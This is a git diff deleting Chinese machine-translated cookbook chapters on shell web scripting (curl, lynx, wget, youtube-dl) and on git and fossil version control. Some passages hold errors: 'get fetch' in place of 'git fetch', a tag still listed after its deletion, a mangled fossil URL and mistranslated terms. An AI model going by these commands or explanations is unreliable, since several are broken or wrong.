-这个脚本使用`lynx`和`curl`来查找网页上断开的链接: - -```sh -#!/bin/bash -#Filename: find_broken.sh -#Desc: Find broken links in a website - -if [ $# -ne 1 ]; -then - echo -e "$Usage: $0 URL\n" - exit 1; -fi - -echo Broken links: - -mkdir /tmp/$$.lynx -cd /tmp/$$.lynx - -lynx -traversal $1 > /dev/null -count=0; - -sort -u reject.dat > links.txt - -while read link; -do - output=`curl -I $link -s \ -| grep -e "HTTP/.*OK" -e "HTTP/.*200"` - if [[ -z $output ]]; - then - output=`curl -I $link -s | grep -e "HTTP/.*301"` - if [[ -z $output ]]; - then - echo "BROKEN: $link" - let count++ - else - echo "MOVED: $link" - fi - fi -done < links.txt - -[ $count -eq 0 ] && echo No broken links found. - -``` - -# 它是如何工作的... - -`lynx -traversal URL`会在工作目录中产生多个文件。它包括一个`reject.dat`文件,该文件将包含网站中的所有链接。`sort -u`用于通过避免重复来建立列表。然后,我们遍历每个链接,并使用`curl -I`检查标题响应。如果标题的第一行包含 HTTP/和`OK`或`200`,则表示链接有效。如果链接无效,则重新检查并测试`301` - *链接移动*-回复。如果测试也失败了,断开的链接会显示在屏幕上。 - -From its name, it might seem like `reject.dat` should contain a list of URLs that were broken or unreachable. However, this is not the case, and lynx just adds all the URLs there. -Also note that `lynx` generates a file called `traverse.errors`, which contains all the URLs that had problems in browsing. However, `lynx` will only add URLs that return `HTTP 404 (not found)`, and so we will lose other errors (for instance, `HTTP 403 Forbidden`). This is why we manually check for statuses. - -# 请参见 - -* 本章中的*以纯文本方式下载网页*食谱解释了`lynx`命令 -* 本章中的*cURL*食谱入门解释了`curl`命令 - -# 跟踪网站的更改 - -跟踪网站变化对网络开发者和用户都很有用。手动检查网站是不切实际的,但是变更跟踪脚本可以定期运行。当发生更改时,它会生成通知。 - -# 准备好 - -在 Bash 脚本方面跟踪变化意味着在不同的时间抓取网站,并使用`diff`命令获取差异。我们可以用`curl`和`diff`来做这个。 - -# 怎么做... - -这个 Bash 脚本结合了不同的命令来跟踪网页中的变化: - -```sh -#!/bin/bash -#Filename: change_track.sh -#Desc: Script to track changes to webpage - -if [ $# -ne 1 ]; -then - echo -e "$Usage: $0 URL\n" - exit 1; -fi - -first_time=0 -# Not first time - -if [ ! -e "last.html" ]; -then - first_time=1 - # Set it is first time run -fi - -curl --silent $1 -o recent.html - -if [ $first_time -ne 1 ]; -then - changes=$(diff -u last.html recent.html) - if [ -n "$changes" ]; - then - echo -e "Changes:\n" - echo "$changes" - else - echo -e "\nWebsite has no changes" - fi -else - echo "[First run] Archiving.." - -fi - -cp recent.html last.html - -``` - -让我们看看`track_changes.sh`脚本在你控制的网站上的输出。首先,我们将看到网页不变时的输出,然后进行更改后的输出。 - -请注意,您应该将`MyWebSite.org`更改为您的网站名称。 - -* 首先,运行以下命令: - -```sh - $ ./track_changes.sh http://www.MyWebSite.org - [First run] Archiving.. - -``` - -* 其次,再次运行命令: - -```sh - $ ./track_changes.sh http://www.MyWebSite.org - Website has no changes - -``` - -* 第三,在对网页进行更改后,运行以下命令: - -```sh - $ ./track_changes.sh http://www.MyWebSite.org - - Changes: - - --- last.html 2010-08-01 07:29:15.000000000 +0200 - +++ recent.html 2010-08-01 07:29:43.000000000 +0200 - @@ -1,3 +1,4 @@ - <html> - +added line :) - <p>data</p> - </html> - -``` - -# 它是如何工作的... - -脚本使用`[ ! -e "last.html" ];`检查脚本是否是第一次运行。如果`last.html`不存在,说明是第一次,网页必须下载保存为`last.html`。 - -如果不是第一次,则下载新副本(`recent.html`)并用 diff 实用程序检查差异。任何更改都将显示为差异输出。最后`recent.html`被复制到`last.html`。 - -请注意,更改您正在检查的网站将在您第一次检查时生成一个巨大的差异文件。如果你需要跟踪多个页面,你可以为你想看的每个网站创建一个文件夹。 - -# 请参见 - -* 本章中的*cURL*食谱入门解释了`curl`命令 - -# 发布到网页并阅读回复 - -`POST`和`GET`是 HTTP 中向网站发送信息或从网站检索信息的两种请求。在`GET`请求中,我们通过网页 URL 本身发送参数(名称-值对)。开机自检命令将键/值对放在消息正文中,而不是网址中。`POST`常用于提交长表格或隐藏提交的信息。 - -# 准备好 - -对于本食谱,我们将使用包含在 **tclhttpd** 包中的样本`guestbook`网站。您可以从[http://sourceforge.net/projects/tclhttpd](http://sourceforge.net/projects/tclhttpd)下载 tclhttpd,然后在本地系统上运行它来创建本地 web 服务器。留言簿页面需要一个名字和网址,当用户点击将我添加到你的留言簿按钮时,它会将这个名字和网址添加到留言簿中,以显示谁访问过某个网站。 - -这个过程可以通过单个`curl`(或`wget`)命令实现自动化。 - -# 怎么做... - -将 tclhttpd 包和`cd`下载到`bin`文件夹。使用以下命令启动 tclhttpd 守护程序: - -```sh - tclsh httpd.tcl - -``` - -从通用网站发布和读取 HTML 响应的格式类似于这样: - -```sh - $ curl URL -d "postvar=postdata2&postvar2=postdata2" - -``` - -考虑以下示例: - -```sh - $ curl http://127.0.0.1:8015/guestbook/newguest.html \ - -d "name=Clif&url=www.noucorp.com&http=www.noucorp.com" - -``` - -curl 命令打印如下响应页面: - -```sh -<HTML> -<Head> -<title>Guestbook Registration Confirmed - - -www.noucorp.com - -
-
Name -
Clif -
URL -
-
-www.noucorp.com - - - -``` - -`-d`是用于过账的参数。`-d`的字符串参数类似于`GET`请求语义。`var=value`对由`&`划定。 - -您可以使用`--post-data "string"`使用`wget`发布数据。考虑以下示例: - -```sh - $ wget http://127.0.0.1:8015/guestbook/newguest.cgi \ - --post-data "name=Clif&url=www.noucorp.com&http=www.noucorp.com" \ - -O output.html - -``` - -对名称-值对使用与 cURL 相同的格式。output.html 的文本与 cURL 命令返回的文本相同。 - -The string to the post arguments (for example, to `-d` or `--post-data`) should always be given in quotes. If quotes are not used, `&` is interpreted by the shell to indicate that this should be a background process. - -如果您查看网站源(使用网络浏览器中的“查看源”选项),您将看到一个已定义的 HTML 表单,类似于以下代码: - -```sh -
-
    -
  • Name: -
  • Url: - -
-
- -``` - -这里,`newguest.cgi`是目标 URL。当用户输入详细信息并点击提交按钮时,名称和网址输入作为`POST`请求发送到`newguest.cgi`,响应页面返回浏览器。 - -# 请参见 - -* 本章中的*cURL*食谱入门解释了`curl`命令 -* 本章中的*从网页下载*食谱解释了`wget`命令 - -# 从互联网下载视频 - -下载视频的原因有很多。如果您使用的是计量服务,您可能希望在收费较低的非工作时间下载视频。你可能想看带宽不支持流式传输的视频,或者你可能只想确保你总是有可爱的猫的视频给你的朋友看。 - -# 准备好了 - -下载视频的一个程序是`youtube-dl`。这不包括在大多数发行版中,并且存储库可能不是最新的,所以最好去位于[http://yt-dl.org](http://yt-dl.org)的`youtube-dl`主站点。 - -你会在那个页面上找到下载和安装`youtube-dl`的链接和信息。 - -# 怎么做... - -使用`youtube-dl`很容易。打开浏览器,找到自己喜欢的视频。然后将该网址复制/粘贴到`youtube-dl`命令行: - -```sh - youtube-dl https://www.youtube.com/watch?v=AJrsl3fHQ74 - -``` - -当`youtube-dl`正在下载文件时,它将在您的终端上生成一个状态行。 - -# 它是如何工作的... - -`youtube-dl`程序通过向服务器发送`GET`消息来工作,就像浏览器一样。它伪装成浏览器,这样 YouTube 或其他视频提供商就会下载一段视频,就好像设备正在流式传输一样。 - -`-list-formats` ( `-F`)选项将列出视频可用的格式,而`-format` ( `-f`)选项将指定下载的格式。如果您想要下载的视频分辨率高于互联网连接能够可靠传输的分辨率,这将非常有用。 - -# 与 OTS 一起总结文本 - -**打开文本摘要器** ( **OTS** )是一个应用,它从一段文本中去除多余的内容,创建一个简洁的摘要。 - -# 准备好 - -`ots`包不是大多数 Linux 标准发行版的一部分,但是可以通过以下命令安装: - -```sh - apt-get install libots-devel - -``` - -# 怎么做... - -`OTS`应用很容易使用。它从文件或`stdin`中读取文本,并生成到`stdout`的摘要。 - -```sh - ots LongFile.txt | less - -``` - -或者 - -```sh - cat LongFile.txt | ots | less - -``` - -`OTS`应用也可以和`curl`一起使用,汇总网站的信息。例如,你可以用`ots`来概括长篇大论的博客: - -```sh - curl http://BlogSite.org | sed -r 's/<[^>]+>//g' | ots | less - -``` - -# 它是如何工作的... - -`curl`命令从博客站点检索页面并将页面传递给`sed`。`sed`命令使用一个正则表达式来替换所有的 HTML 标签,一个以小于符号开始,以大于符号结束的字符串,用一个空格代替。剥离的文本被传递给`ots`,T3 生成一个显示较少的摘要。 - -# 从命令行翻译文本 - -谷歌提供在线翻译服务,你可以通过浏览器访问。Andrei Neculau 创建了一个 **awk** 脚本,该脚本将访问该服务并从命令行进行翻译。 - -# 准备好了 - -大多数 Linux 发行版都不包含命令行翻译器,但是可以直接从 Git 安装,如下所示: - -```sh - cd ~/bin - wget git.io/trans - chmod 755 ./trans - -``` - -# 怎么做... - -默认情况下,`trans`应用将翻译成您的区域环境变量中的语言。 - -```sh - $> trans "J'adore Linux" - - J'adore Linux - - I love Linux - - Translations of J'adore Linux - French -> English - - J'adore Linux - I love Linux - -``` - -您可以使用文本前的选项来控制要翻译的语言。选项的格式如下: - -```sh - from:to - -``` - -要从英语翻译成法语,请使用以下命令: - -```sh - $> trans en:fr "I love Linux" - J'aime Linux - -``` - -# 它是如何工作的... - -`trans`程序是大约 5000 行 awk 代码,使用`curl`与谷歌、必应和 Yandex 翻译服务进行通信。 \ No newline at end of file diff --git a/docs/linux-shell-script-cb/06.md b/docs/linux-shell-script-cb/06.md deleted file mode 100644 index 4bbf1546..00000000 --- a/docs/linux-shell-script-cb/06.md +++ /dev/null @@ -1,1271 +0,0 @@ -# 六、存储库管理 - -在本章中,我们将介绍以下食谱: - -* 创建新的 git 存储库 -* 克隆远程 git 存储库 -* 用 git 添加和提交更改 -* 用 git 创建和合并分支 -* 分享你的作品 -* 将分支推送到服务器 -* 正在检索当前分支的最新来源 -* 检查 git 存储库的状态 -* 查看 git 历史记录 -* 寻找 bug -* 承诺信息伦理 -* 使用化石 -* 创建一个新的化石仓库 -* 克隆一个远程化石库 -* 开启化石项目 -* 使用化石添加和提交变更 -* 用树枝和叉子和化石 -* 与化石分享你的作品 -* 更新你当地的化石仓库 -* 检查化石仓库的状态 -* 查看化石历史 - -# 介绍 - -你花在开发应用上的时间越多,你就越欣赏追踪你的修订历史的软件。修订控制系统允许您为解决问题的新方法创建沙箱,维护发布代码的多个分支,并在发生知识产权纠纷时提供开发历史。Linux 和 Unix 支持许多源代码控制系统,从早期和原始的 SCCS 和 RCS 到并发系统,如 **CVS** 和 **SVN** 以及现代分布式开发系统,如 **GIT** 和**化石**。 - -与 CVS 和 SVN 等较旧的系统相比,Git 和 Fossil 的最大优势是开发人员可以在不连接网络的情况下使用它们。当您在办公室时,旧系统(如 CVS 和 RCS)工作正常,但在远程工作时,您无法检查新代码或检查旧代码。 - -Git 和 Fossil 是两个不同的修订控制系统,有相似之处,也有不同之处。两者都支持版本控制的分布式开发模式。Git 提供源代码控制,并有许多附加应用来获取更多信息,而化石是一个单一的可执行文件,提供修订控制、故障单、维基、网页和技术说明。 - -Git 用于 Linux 内核开发,已经被许多开源开发者采用。化石是为 SQLite 开发团队设计的,也广泛用于开源和闭源社区。 - -Git 包含在大多数 Linux 发行版中。如果它在你的系统上不可用,你可以用 yum (Redhat 或 SuSE)或 apt-get (Debian 或 Ubuntu)安装它。 - -```sh - $ sudo yum install git-all - $ sudo apt-get install git-all - -``` - -Fossil is available as source or executable from [http://www.fossil-scm.org](http://www.fossil-scm.org). - -**使用 Git** - -git 系统使用带有许多子命令的`git`命令来执行单个动作。我们将讨论 git 克隆、git 提交、git 分支等。 - -要使用 git,你需要一个代码库。您可以自己创建一个(为您的项目)或者克隆一个远程存储库。 - -# 创建新的 git 存储库 - -如果您正在处理自己的项目,您将希望创建自己的存储库。您可以在本地系统或远程站点(如 GitHub)上创建存储库。 - -# 准备好 - -git 中的所有项目都需要一个主文件夹来保存剩余的项目文件。 - -```sh - $ mkdir MyProject - $ cd MyProject - -``` - -# 怎么做... - -`git init`命令在当前工作目录中创建`.git`子文件夹,并初始化配置`git`的文件。 - -```sh - $ git init - -``` - -# 它是如何工作的... - -`git init`命令初始化一个`git`存储库供本地使用。如果您想允许远程用户访问这个存储库,您需要使用`update-server-info`命令来启用它: - -```sh - $ git update-server-info - -``` - -# 克隆远程 git 存储库 - -如果您打算访问其他人的项目,要么贡献新代码,要么只是使用该项目,那么您需要将代码克隆到您的系统中。 - -您需要在线才能克隆存储库。一旦将文件复制到系统中,就可以提交新代码,回溯到旧版本,等等。在您重新联机之前,您不能将任何新的代码更改发送到您从中克隆的站点。 - -# 怎么做... - -`git clone`命令将文件从远程站点复制到本地系统。远程站点可能是一个匿名存储库,比如 GitHub,或者是一个需要使用帐户名和密码登录的系统。 - -从已知的远程站点(如 GitHub)克隆: - -```sh - $ git clone http://github.com/ProjectName - -``` - -从受登录/密码保护的站点(可能是您自己的服务器)克隆: - -```sh - $ git clone clif@172.16.183.130:gitTest - clif@172.16.183.130's password: - -``` - -# 用 git 添加和提交更改 - -使用分布式版本控制系统,如 git,您可以使用存储库的本地副本来完成大部分工作。您可以添加新代码、更改代码、测试、修改,最后提交完全测试过的代码。这鼓励在您的本地存储库中频繁地进行小的提交,并在代码稳定时进行大的提交。 - -# 怎么做... - -`git add`命令将工作代码的更改添加到临时区域。它不会更改存储库,它只是将这个更改标记为要包含在下一次提交中: - -```sh - $ vim SomeFile.sh - $ git add SomeFile.sh - -``` - -如果您想确保在提交更改时不会意外遗漏某个更改,那么在每次编辑会话后执行`git add`是一个不错的策略。 - -您还可以使用 git add 命令向存储库中添加新文件: - -```sh - $ echo "my test file" >testfile.txt - $ git add testfile.txt - -``` - -或者,您可以添加多个文件: - -```sh - $ git add *.c - -``` - -`git commit`命令将更改提交给存储库: - -```sh - $ vim OtherFile.sh - $ git add OtherFile.sh - $ git commit - -``` - -`git commit`命令将打开在您的**编辑器**Shell 变量中定义的编辑器,并进行如下预填充: - -```sh - # Please enter the commit message for your changes. Lines starting - # with '#' will be ignored, and an empty message aborts the commit. - # - # Committer: Clif Flynt - # - # On branch branch1 - # Changes to be committed: - # (use "git reset HEAD ..." to unstage) - # - # modified: SomeFile.sh - # modified: OtherFile.sh - -``` - -输入注释后,您的更改将保存在存储库的本地副本中。 - -这不会将您的更改推送到主存储库(也许是`github`),但是其他开发人员可以从您的存储库中提取新代码,如果他们在您的系统上有帐户的话。 - -您可以使用`-a`和`-m`参数缩短添加/提交事件,以提交: - -* `-a`:这将在提交前添加新代码 -* `-m`:这定义了一条不进入编辑器的消息 - -```sh - git commit -am "Add and Commit all modified files." - -``` - -# 用 git 创建和合并分支 - -如果您正在维护一个应用,您可能需要返回到较早的分支进行测试。例如,您正在修复的 bug 可能已经存在了很长时间,但没有被报告。你会想知道这个 bug 是什么时候被引入的,以追踪引入它的代码。(参见本章*寻虫*食谱中的`git bisect`。) - -当您添加新功能时,您应该创建一个新分支来标识您的更改。在测试和验证新代码之后,项目维护人员可以将新分支合并到主分支中。您可以使用 git 的`checkout`子命令来更改和创建新的分支。 - -# 准备好... - -使用`git init`或`git clone`在您的系统上创建项目。 - -# 怎么做... - -要更改到以前定义的分支: - -```sh - $ git checkout OldBranchName - -``` - -# 它是如何工作的... - -检出子命令检查系统上的`.git`文件夹,并恢复与所需分支相关联的快照。 - -请注意,如果您在当前工作区中有未提交的更改,则不能更改到现有分支。 - -当您在当前工作区中有未提交的更改时,可以创建新的分支。要创建新分支,请使用 git checkout 的`-b`选项: - -```sh - $ git checkout -b MyBranchName - Switched to a new branch 'MyBranchName' - -``` - -这将您当前的工作分支定义为`MyBranchName`。它设置一个指针来匹配前一个分支`MyBranchName`。随着您添加和提交更改,指针将进一步偏离初始分支。 - -在新分支中测试完代码后,您可以将更改合并回您开始的分支。 - -# 还有更多... - -您可以使用`git branch`命令查看分支: - -```sh - $ git branch - * MyBranchName - master - -``` - -当前分支用星号(`*`)突出显示。 - -# 合并分支 - -编辑、添加、测试和提交之后,您将希望将更改合并回初始分支。 - -# 怎么做... - -创建新分支并添加和提交更改后,更改回原始分支,并使用`git merge`命令合并新分支中的更改: - -```sh - $ git checkout originalBranch - $ git checkout -b modsToOriginalBranch - # Edit, test - $ git commit -a -m "Comment on modifications to originalBranch" - $ git checkout originalBranch - $ git merge modsToOriginalBranch - -``` - -# 它是如何工作的... - -第一个`git checkout`命令检索开始分支的快照。第二个`git checkout`命令将您当前的工作代码标记为新的分支。 - -`git commit`命令将新分支的快照指针移离原始分支越来越远。第三个`git checkout`命令将您的代码恢复到您进行编辑和提交之前的初始状态。 - -`git merge`命令将初始分支的快照指针移动到您正在合并的分支的快照。 - -# 还有更多... - -合并分支后,您可能不再需要它。`-d`选项将删除分支: - -```sh - $ git branch -d MyBranchName - -``` - -# 分享你的作品 - -Git 让你不用连接互联网就能工作。最终,你会想要分享你的工作。 - -有两种方法可以做到这一点,创建一个补丁或者将新代码推送到主存储库。 - -**制作补丁...** - -修补程序文件是对已提交的更改的描述。另一个开发人员可以将您的补丁文件应用到他们的代码中,以使用您的新代码。 - -format-patch 命令将收集您的更改并创建一个或多个修补文件。补丁文件将以数字、描述和`.patch`命名。 - -# 怎么做... - -format-patch 命令需要一个标识符来告诉 Git 第一个补丁应该是什么。Git 将根据需要创建尽可能多的补丁文件,以将代码从当时的样子更改为应该的样子。 - -有几种方法可以识别起始快照。一组补丁的一个常见用途是将您对给定分支所做的更改提交给包维护者。 - -例如,假设您已经为一个新特性创建了一个新的主分支。完成测试后,您可以向项目维护人员发送一组补丁文件,这样他们就可以验证您的工作,并将新特性合并到项目中。 - -带有父分支名称的`format-patch`子命令将生成补丁文件来创建您当前的分支: - -```sh - $ git checkout master - $ git checkout -b newFeature - # Edits, adds and commits. - $ git format-patch master - 0001-Patch-add-new-feature-to-menu.patch - 0002-Patch-support-new-feature-in-library.patch - -``` - -另一个常见的标识符是 git 快照 **SHA1** 。每个 git 快照都由一个 SHA1 字符串标识。 - -您可以使用`git log`命令查看存储库中所有提交的日志: - -```sh - $ git log - commit 82567395cb97876e50084fd29c93ccd3dfc9e558 - Author: Clif Flynt - Date: Thu Dec 15 13:38:28 2016 -0500 - - Fixed reported bug #1 - - commit 721b3fee54e73fd9752e951d7c9163282dcd66b7 - Author: Clif Flynt - Date: Thu Dec 15 13:36:12 2016 -0500 - - Created new feature - -``` - -带有 SHA1 标识符的`git format-patch`命令如下所示: - -```sh - $ git format-patch SHA1 - -``` - -您可以使用 SHA1 标识符的唯一前导段或完整的长字符串: - -```sh - $ git format-patch 721b - $ git format-patch 721b3fee54e73fd9752e951d7c9163282dcd66b7 - -``` - -您也可以使用`-#`选项通过快照与您当前位置的距离来识别快照。 - -此命令将为主分支的最新更改创建一个修补文件: - -```sh - $ git format-patch -1 master - -``` - -该命令将为`bleedingEdge`分支的两个最新更改创建一个补丁文件: - -```sh - $ git format-patch -2 bleedingEdge - -``` - -**涂抹贴剂** - -`git apply`命令将补丁应用于您的工作代码集。在运行此命令之前,您必须检查适当的快照。 - -您可以使用`--check`选项测试补丁是否有效。 - -如果您的环境适合此修补程序,将不会有任何回报。如果您没有检出正确的分支,patch `-check`命令将生成一个错误条件: - -```sh - $ git apply --check 0001-Patch-new-feature.patch - error: patch failed: feature.txt:2 - error: feature.txt: patch does not apply - -``` - -当`--check`选项没有产生错误信息时,使用`git apply`命令应用补丁: - -```sh - $ git apply 0001-Patch-new-feature.patch - -``` - -# 将分支推送到服务器 - -最终,您将希望与所有人共享您的新代码,而不仅仅是向个人发送补丁。 - -`git push`命令会将一个分支推给主节点。 - -# 怎么做... - -如果您有一个唯一的分支,它总是可以被推送到主存储库: - -```sh - $ git push origin MyBranchName - -``` - -如果您修改了现有分支,可能会收到如下错误消息: - -* `remote: error`:拒绝更新已结账分支:`refs/heads/master` -* `remote: error`:默认情况下,在非裸库中更新当前分支 - -在这种情况下,您需要将您的更改推送到远程站点上的新分支: - -```sh - $ git push origin master:NewBranchName - -``` - -您还需要提醒包维护者将这个分支合并到主包中: - -```sh - # On remote - $ git merge NewBranchName - -``` - -正在检索当前分支的最新来源。如果一个项目中有多个开发人员,您将需要偶尔与远程存储库同步,以检索由其他开发人员推送的数据。 - -`get fetch`和`git pull`命令将数据从远程站点下载到您的本地存储库中。 - -Update your repository without changing the working code. - -`git fetch`和`git pull`命令将下载新代码,但不会修改您的工作代码集。 - -```sh - get fetch SITENAME - -``` - -您从中克隆存储库的站点名为 origin: - -```sh - $ get fetch origin - -``` - -要从另一个开发人员的存储库中获取,请使用以下命令: - -```sh - $ get fetch Username@Address:Project - -``` - -Update your repository and the working code. - -`git pull`命令执行提取,然后将更改合并到当前代码中。如果存在需要解决的冲突,此操作将失败: - -```sh - $ git pull origin - $ git pull Username@Address:Project - -``` - -# 检查 git 存储库的状态 - -在集中的开发和调试会话之后,您可能会忘记您所做的所有更改。`>git status`命令会提醒你。 - -# 怎么做... - -`git status`命令报告项目的当前状态。它将告诉您您在哪个分支上,您是否有未提交的更改,以及您是否与原始存储库不同步: - -```sh - $ git status - # On branch master - # Your branch is ahead of 'origin/master' by 1 commit. - # - # Changed but not updated: - # (use "git add ..." to update what will be committed) - # (use "git checkout -- ..." to discard changes in working - directory) - # - #modified: newFeature.tcl - -``` - -# 它是如何工作的... - -当添加并提交了变更,并且一个文件被修改但尚未提交时,上一个配方显示`git status`输出。 - -这一行表示存在尚未推送的提交: - -```sh -# Your branch is ahead of 'origin/master' by 1 commit. - -``` - -此格式中的行报告已修改但尚未提交的文件: - -```sh - #modified: newFeature.tcl - git config --global user.name "Your Name" - git config --global user.email you@example.com - -``` - -如果用于此提交的标识是错误的,您可以使用以下命令进行修复: - -```sh - git commit --amend --author='Your Name ' - 1 files changed, 1 insertions(+), 0 deletions(-) - create mode 100644 testfile.txt - -``` - -# 查看 git 历史记录 - -在你开始做一个项目之前,你应该回顾一下已经做了什么。您可能需要回顾最近所做的工作,以跟上其他开发人员的工作。 - -`git log`命令生成一个报告,帮助您跟上项目的变化。 - -# 怎么做... - -`git log`命令生成一份 SHA1 身份证、提交快照的作者、提交日期和日志消息的报告: - -```sh - $ git log - commit fa9ef725fe47a34ab8b4488a38db446c6d664f3e - Author: Clif Flynt - Date: Fri Dec 16 20:58:40 2016 -0500 - Fixed bug # 1234 - -``` - -# 寻找 bug - -即使是最好的测试团队也会让 bug 溜进这个领域。当这种情况发生时,开发人员需要弄清楚错误是什么,以及如何修复它。 - -Git 有工具可以帮助。 - -没有人故意制造 bug,所以问题可能是由修复旧 bug 或添加新特性引起的。 - -如果您可以隔离导致问题的代码,请使用`git blame`命令查找是谁提交了导致问题的代码,以及提交的 SHA 代码是什么。 - -# 怎么做... - -`git blame`命令返回提交哈希代码、作者、日期和提交消息第一行的列表: - -```sh - $ git blame testGit.sh - d5f62aa1 (Flynt 2016-12-07 09:41:52 -0500 1) Created testGit.sh - 063d573b (Flynt 2016-12-07 09:47:19 -0500 2) Edited on master repo. - 2ca12fbf (Flynt 2016-12-07 10:03:47 -0500 3) Edit created remotely - and merged. - -``` - -# 还有更多... - -如果您有一个指示问题的测试,但是不知道有问题的代码行,您可以使用`git bisect`命令来查找引入问题的提交。 - -# 怎么做... - -`git bisect`命令需要两个标识符,一个用于最后已知的好代码,一个用于坏版本。平分命令将确定一个介于好与坏之间的修订,供您测试。 - -测试完代码后,重置好指针或坏指针。如果测试成功,重置好指针,如果测试失败,重置坏指针。 - -Git 将在新的好位置和坏位置之间的中间位置检查新的快照: - -```sh - # Pull the current (buggy) code into a git repository - $ git checkout buggyBranch - - # Initialize git bisect. - $ git bisect start - - # Mark the current commit as bad - $ git bisect bad - - # Mark the last known good release tag - # Git pulls a commit at the midpoint for testing. - - $ git bisect good v2.5 - Bisecting: 3 revisions left to test after this (roughly 2 steps) - [6832085b8d358285d9b033cbc6a521a0ffa12f54] New Feature - - # Compile and test - # Mark as good or bad - # Git pulls next commit to test - $ git bisect good - Bisecting: 1 revision left to test after this (roughly 1 step) - [2ca12fbf1487cbcd0447cf9a924cc5c19f0debf9] Merged. Merge branch - 'branch1' - -``` - -# 它是如何工作的... - -`git bisect`命令识别已知良好和已知不良版本之间的代码版本。现在,您可以构建和测试该版本。测试后,重新运行`git bisect`以宣布该分支为好或坏。在分支机构被宣布后,`git bisect`将确定一个新的版本,介于新的好的和坏的标记之间。 - -# 标记快照 - -Git 支持用助记符字符串和附加消息来标记特定的快照。您可以使用标签使开发树更加清晰,例如在新的内存管理中合并的*信息,或者沿着分支标记特定的快照。例如,您可以使用标签沿着**发布-1** 分支标记**发布-1.0** 和**发布-1.1** 。* - -Git 支持轻量级标签(仅标记快照)和带有相关注释的标签。 - -Git 标签仅是本地的。`git push`默认不会推送你的标签。要将标签发送到原始存储库,必须包含-tags 选项: - -```sh - $ git push origin --tags - -``` - -`git tag`命令有添加、删除和列出标签的选项。 - -# 怎么做... - -没有参数的`git tag`命令将列出可见标签: - -```sh - $ git tag - release-1.0 - release-1.0beta - release-1.1 - -``` - -您可以通过添加标签名称在当前签出时创建标签: - -```sh - $ git tag ReleaseCandidate-1 - -``` - -您可以通过将 SHA-1 标识符附加到 git tag 命令中,将一个标记添加到以前的提交中: - -```sh - $ git log --pretty=oneline - 72f76f89601e25a2bf5bce59551be4475ae78972 Initial checkin - fecef725fe47a34ab8b4488a38db446c6d664f3e Added menu GUI - ad606b8306d22f1175439e08d927419c73f4eaa9 Added menu functions - 773fa3a914615556d172163bbda74ef832651ed5 Initial action buttons - - $ git tag menuComplete ad606b - -``` - -`-a`选项将在标签上附加注释: - -```sh - $ git tag -a tagWithExplanation - # git opens your editor to create the annotation - -``` - -您可以使用`-m`选项在命令行上定义消息: - -```sh - $ git tag -a tagWithShortMessage -m "A short description" - -``` - -当您使用`git show`命令时,将显示信息: - -```sh - $ git show tagWithShortMessage - - tag tagWithShortmessage - Tagger: Clif Flynt - Date: Fri Dec 23 09:58:19 2016 -0500 - - A short description - ... - -``` - -`-d`选项将删除一个标签: - -```sh - $ git tag - tag1 - tag2 - tag3 - $ git tag -d tag2 - $ git tag - tag2 - tag3F - -``` - -# 承诺信息伦理 - -提交消息是自由格式文本。它可以是你认为有用的任何东西。然而,Git 社区中使用了一些注释约定。 - -# 怎么做... - -* 每行使用 72 个或更少的字符。用空行分隔段落。 -* 第一行应该不超过 50 个字符,并总结为什么要提交。应该足够具体,只有读这一行的人才会明白发生了什么。 -* 不要写`Fix bug`甚至`Fix bugzilla bug #1234`,写`Remove silly messages that appear each April 1`。 - -以下段落描述了对跟进你工作的人来说很重要的细节。提及您的代码使用的任何全局状态变量、副作用等等。如果有您修复的问题的描述,请包括错误报告或功能请求的网址。 - -# 使用化石 - -化石应用是另一个分布式版本控制系统。像 Git 一样,无论开发人员是否可以访问主存储库站点,它都会维护一个变更记录。与 Git 不同,fossil 支持自动同步模式,如果可以访问,它会自动将提交推送到远程存储库。如果远程站点在提交时不可用,则化石会保存更改,直到远程站点可用。 - -化石在几个方面不同于 Git。化石存储库是在单个 SQLite 数据库中实现的,而不是像 Git 一样在一组文件夹中实现的。化石应用包括几个其他工具,如网络界面、故障单系统和维基,而 Git 使用附加应用来提供这些服务。 - -像 Git 一样,化石的主要界面是带有子命令的`fossil`命令,以执行特定的操作,如创建新的存储库、克隆现有的存储库、添加、提交文件等。 - -化石包括一个帮助设施。化石帮助命令会生成支持的命令列表,`fossil help CMDNAME`会显示帮助页面: - -```sh - $ fossil help - Usage: fossil help COMMAND - Common COMMANDs: (use "fossil help -a|-all" for a complete list) - add cat finfo mv revert timeline - ... - -``` - -# 准备好 - -化石可能没有安装在您的系统上,也不是由所有的存储库维护的。 -化石的最终地点是[h . t . t . p://w . w . f . o . s . I . l-s . c . m . o . r . g](http://www.fossil-scm.org)。 - -# 怎么做... - -从[http://www.fossil-scm.org](http://www.fossil-scm.org)下载一份化石可执行文件到你的`bin`文件夹。 - -# 创建一个新的化石仓库 - -化石很容易为你自己的项目以及你加入的现有项目建立和使用。 - -`fossil new`和`fossil init`命令相同。您可以根据自己的喜好使用其中任何一种。 - -# 怎么做... - -`fossil new`和`fossil init`命令创建一个空的化石库: - -```sh - $ fossil new myProject.fossil - project-id: 855b0e1457da519d811442d81290b93bdc0869e2 - server-id: 6b7087bce49d9d906c7572faea47cb2d405d7f72 - admin-user: clif (initial password is "f8083e") - - $ fossil init myProject.fossil - project-id: 91832f127d77dd523e108a9fb0ada24a5deceedd - server-id: 8c717e7806a08ca2885ca0d62ebebec571fc6d86 - admin-user: clif (initial password is "ee884a") - -``` - -# 它是如何工作的... - -`fossil init`和化石新命令是一样的。他们用您请求的名称创建一个新的空存储库数据库。`.fossil`后缀不是必需的,但这是一个常见的约定。 - -# 还有更多... - -让我们再看一些食谱: - -# 化石的网络界面 - -化石网络服务器提供对化石系统的许多特征的本地或远程访问,包括配置、故障单管理、维基、提交历史的图表等等。 - -`fossil ui`命令启动一个 http 服务器,并尝试将您的本地浏览器连接到化石服务器。默认情况下,该界面将您连接到用户界面,您可以执行任何所需的任务。 - -# 怎么做... - -```sh - $ fossil ui - Listening for HTTP requests on TCP port 8080 - - #> fossil ui -P 80 - Listening for HTTP requests on TCP port 80 - -``` - -# 使远程用户可以使用存储库 - -化石服务器命令启动化石服务器,允许远程用户克隆您的存储库。默认情况下,化石允许任何人克隆项目。禁用`Admin/Users/Nobody`和`Admin/Users/Anonymous`页面上的签入、签出、克隆和下载 zip 功能,以限制仅注册用户访问。 - -运行化石服务器时支持用于配置的 web 界面,但不是默认界面,您必须使用创建存储库时提供的凭据登录。 - -化石服务器可以从存储库的完整路径开始: - -```sh - $ fossil server /home/projects/projectOne.fossil - -``` - -化石服务器可以从化石存储库所在的文件夹启动,而无需定义存储库: - -```sh - $ cd /home/projects - $ ls - projectOne.fossil - - $ fossil server - Listening for HTTP requests on TCP port 8080 - -``` - -# 